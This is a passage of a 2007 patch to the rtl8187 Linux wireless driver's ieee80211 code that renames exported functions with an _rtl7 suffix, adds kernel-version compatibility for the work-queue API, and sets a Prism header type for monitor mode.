delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; @@ -1986,12 +2018,12 @@ */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); spin_lock_irqsave(&ieee->lock, flags); if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); + ieee80211_start_scan_rtl7(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -1999,14 +2031,14 @@ up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; struct sk_buff *skb; struct ieee80211_probe_response *b; - skb = ieee80211_probe_resp(ieee, broadcast_addr); + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); if (!skb) return NULL; @@ -2018,12 +2050,12 @@ } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - skb = ieee80211_get_beacon_(ieee); + skb = ieee80211_get_beacon__rtl7(ieee); if(!skb) return NULL; @@ -2038,44 +2070,44 @@ return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; ieee->proto_started = 0; - ieee80211_stop_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); - ieee80211_stop_scan(ieee); + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; @@ -2094,9 +2126,7 @@ if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2109,21 +2139,18 @@ */ if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); @@ -2143,7 +2170,7 @@ ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; @@ -2153,25 +2180,34 @@ init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); #else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); @@ -2179,12 +2215,12 @@ spin_lock_init(&ieee->beacon_lock); tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); @@ -2201,7 +2237,7 @@ ********************************************************/ -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2211,16 +2247,16 @@ } -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { int ret = 0; @@ -2231,7 +2267,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2279,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,14 +2303,14 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { struct ieee80211_security sec = { @@ -2300,13 +2336,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2387,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,7 +2404,7 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; @@ -2407,7 +2443,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2457,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2478,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2561,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2552,20 +2588,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2585,7 +2621,7 @@ return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2633,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c 2007-02-26 03:05:16.011549039 +0100 @@ -18,7 +18,7 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { +const long ieee80211_wlan_frequencies_rtl7[] = { 2412, 2417, 2422, 2427, 2432, 2437, 2442, 2447, 2452, 2457, 2462, 2467, @@ -26,7 +26,7 @@ }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; @@ -46,7 +46,7 @@ int f = fwrq->m / 100000; int c = 0; - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; /* hack to fall through */ @@ -68,8 +68,8 @@ if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -95,7 +95,7 @@ return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -124,7 +124,7 @@ } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) @@ -134,14 +134,14 @@ u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - struct sockaddr *temp = (struct sockaddr *)awrq; - + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; @@ -154,7 +154,7 @@ } if (ifup) - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); /* just to avoid to give inconsistent infos in the * get wx method. not really needed otherwise @@ -167,14 +167,14 @@ spin_unlock_irqrestore(&ieee->lock, flags); if (ifup) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); return ret; } - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; @@ -209,7 +209,7 @@ } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -223,7 +223,7 @@ -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -233,7 +233,7 @@ return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -245,8 +245,7 @@ goto out; if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } @@ -254,9 +253,9 @@ if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); } out: @@ -264,8 +263,14 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) { +#endif short chan; chan = ieee->current_network.channel; @@ -275,12 +280,12 @@ if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - ieee80211_stop_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); ieee->set_chan(ieee->dev, chan); @@ -291,7 +296,7 @@ ieee->data_hard_resume(ieee->dev); if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); + ieee80211_start_send_beacons_rtl7(ieee); netif_carrier_on(ieee->dev); @@ -299,7 +304,7 @@ } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; @@ -322,7 +327,7 @@ return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { @@ -348,7 +353,7 @@ } if(proto_started) - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise @@ -371,13 +376,13 @@ spin_unlock_irqrestore(&ieee->lock, flags); if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,7 +390,7 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -422,7 +427,7 @@ return 0; } -int ieee80211_wx_get_name(struct ieee80211_device *ieee, +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -446,7 +451,7 @@ /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -509,7 +514,7 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -547,19 +552,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_txpower/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_tx.c 2007-02-26 03:05:16.011549039 +0100 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" @@ -155,7 +158,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +181,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +228,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +238,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +270,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -397,7 +400,7 @@ /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -432,7 +435,7 @@ /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); @@ -446,7 +449,7 @@ /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); @@ -458,13 +461,14 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -481,14 +485,14 @@ dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } @@ -504,4 +508,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_txpower/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_wx.c 2007-02-26 03:05:16.071549944 +0100 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -281,7 +282,7 @@ if (key_provided && *crypt) { 